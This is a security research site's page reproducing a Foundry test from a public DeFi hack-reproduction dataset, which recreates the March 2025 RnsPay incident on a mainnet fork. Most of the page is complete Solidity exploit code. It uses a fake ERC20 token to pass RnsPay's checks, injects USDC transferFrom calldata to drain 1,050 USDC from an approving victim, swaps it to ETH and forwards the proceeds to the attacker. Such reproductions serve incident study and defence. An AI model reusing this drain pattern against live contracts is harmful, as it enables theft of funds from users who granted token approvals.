Skip to content
THREATWIRE

Public reproduction file

src/test/2025-03/RnsPay_exp.sol

Public reproduction file for dataset entry RnsPay.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-03/RnsPay_exp.sol156 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 1,050 USDC
8// Attacker : 0x806d9d1f1b80107a294393c76258b69b441565f0
9// Attack Contract : 0x5198bc63edf0f9d9926c4cd4db4ef18032ac4767
10// Vulnerable Contract : 0x4c7f92d77b331ea74092e2e347c9fd026faa1c3f
11// Attack Tx : https://etherscan.io/tx/0x69a825ffedeb4461afc95e21475c011b1675a95d318bb1dd63b13307dfe3b9ed
12//
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x4c7f92d77b331ea74092e2e347c9fd026faa1c3f#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/562
18//
19// RnsPay lets the caller provide an arbitrary exchange target and calldata.
20// The attacker used a fake ERC20 as both pay and receipt token so RnsPay's
21// token balance checks passed, then made RnsPay call USDC.transferFrom with a
22// victim that had approved RnsPay.
24address constant ATTACKER = 0x806D9D1F1B80107A294393c76258b69b441565f0;
25address constant RNS_PAY = 0x4c7f92d77b331EA74092e2E347c9FD026FAA1c3f;
26address constant USDC_TOKEN = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
27address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
28address constant UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
29address constant USDC_ALLOWANCE_VICTIM = 0x6D191737f9653A66D0e8236fFF6E8EA543C05bC0;
31uint256 constant STOLEN_USDC_AMOUNT = 1_050_000_000;
33interface IRnsPay {
34 struct Payment {
35 string orderId;
36 uint256 payTokenAmountIn;
37 uint256 receiptTokenAmountOut;
38 uint256 feeAmount;
39 address payTokenContractAddress;
40 address dexRouterContractAddress;
41 address receiptTokenContractAddress;
42 address receiverWalletAddress;
43 address feeReceiverAddress;
44 uint8 exchangeType;
45 bytes dexRouterFeedData;
46 uint256 orderInvalidatedMoment;
47 }
49 function pay(
50 Payment calldata payment
51 ) external payable returns (bool);
54contract ContractTest is BaseTestWithBalanceLog {
55 IERC20 private constant usdc = IERC20(USDC_TOKEN);
57 function setUp() public {
58 uint256 forkBlock = 21_988_705;
59 vm.createSelectFork("mainnet", forkBlock);
61 attacker = ATTACKER;
62 vm.label(ATTACKER, "Attacker");
63 vm.label(RNS_PAY, "RnsPay");
64 vm.label(USDC_ALLOWANCE_VICTIM, "USDC allowance victim");
65 vm.label(USDC_TOKEN, "USDC");
66 vm.label(WETH_TOKEN, "WETH");
67 vm.label(UNISWAP_V2_ROUTER, "Uniswap V2 Router");
68 }
70 function testExploit() public balanceLog {
71 // step 1: prove the vulnerable allowance and victim balance are live at the fork.
72 uint256 attackerEthBefore = ATTACKER.balance;
73 uint256 victimUsdcBefore = usdc.balanceOf(USDC_ALLOWANCE_VICTIM);
75 // step 2: use fake token accounting to make RnsPay execute arbitrary USDC calldata.
76 RnsPayExploit exploit = new RnsPayExploit();
77 exploit.attack();
79 // step 3: assert the USDC drain and final ETH profit forwarding.
80 assertEq(victimUsdcBefore - usdc.balanceOf(USDC_ALLOWANCE_VICTIM), STOLEN_USDC_AMOUNT);
81 assertGt(ATTACKER.balance - attackerEthBefore, 0.46 ether);
82 }
85contract RnsPayExploit {
86 receive() external payable {}
88 function attack() external {
89 FakeToken fakeToken = new FakeToken();
91 // step 1: RnsPay will call this as USDC.transferFrom with RnsPay as msg.sender.
92 bytes memory drainCall = abi.encodeWithSelector(
93 IERC20.transferFrom.selector,
94 USDC_ALLOWANCE_VICTIM,
95 address(this),
96 STOLEN_USDC_AMOUNT
97 );
99 IRnsPay.Payment memory payment = IRnsPay.Payment({
100 orderId: "KISS KISS BANG BANG",
101 payTokenAmountIn: 1,
102 receiptTokenAmountOut: 1,
103 feeAmount: 0,
104 payTokenContractAddress: address(fakeToken),
105 dexRouterContractAddress: USDC_TOKEN,
106 receiptTokenContractAddress: address(fakeToken),
107 receiverWalletAddress: address(this),
108 feeReceiverAddress: address(0),
109 exchangeType: 1,
110 dexRouterFeedData: drainCall,
111 orderInvalidatedMoment: block.timestamp
112 });
114 IRnsPay(RNS_PAY).pay(payment);
116 // step 2: swap the stolen USDC through the same Uniswap V2 route and forward ETH.
117 IERC20(USDC_TOKEN).approve(UNISWAP_V2_ROUTER, type(uint256).max);
118 address[] memory path = new address[](2);
119 path[0] = USDC_TOKEN;
120 path[1] = WETH_TOKEN;
122 IUniswapV2Router(payable(UNISWAP_V2_ROUTER)).swapExactTokensForETH(
123 STOLEN_USDC_AMOUNT,
124 0,
125 path,
126 address(this),
127 block.timestamp
128 );
130 payable(ATTACKER).transfer(address(this).balance);
131 }
134contract FakeToken {
135 function balanceOf(
136 address
137 ) external pure returns (uint256) {
138 return 1;
139 }
141 function allowance(address, address) external pure returns (uint256) {
142 return 0;
143 }
145 function transferFrom(address, address, uint256) external pure returns (bool) {
146 return true;
147 }
149 function approve(address, uint256) external pure returns (bool) {
150 return true;
151 }
153 function transfer(address, uint256) external pure returns (bool) {
154 return true;
155 }

Analysis

Dataset entry

Public Foundry test for “RnsPay” (2025-03-06). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x806d9d1f1b80107a294393c76258b69b441565f0

  • Attack Contract

    0x5198bc63edf0f9d9926c4cd4db4ef18032ac4767

  • Vulnerable Contract

    0x4c7f92d77b331ea74092e2e347c9fd026faa1c3f

  • Attack Tx

    0x69a825ffedeb4461afc95e21475c011b1675a95d318bb1dd63b13307dfe3b9ed

File record

Name
RnsPay
Path
src/test/2025-03/RnsPay_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
28fdde0652a8c4cb377ee0734775e274ee5dc3e3
Language
Solidity
Size
157 lines
Date
2025-03-06
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-03/RnsPay_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 28fdde0652a8c4cb377ee0734775e274ee5dc3e3, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.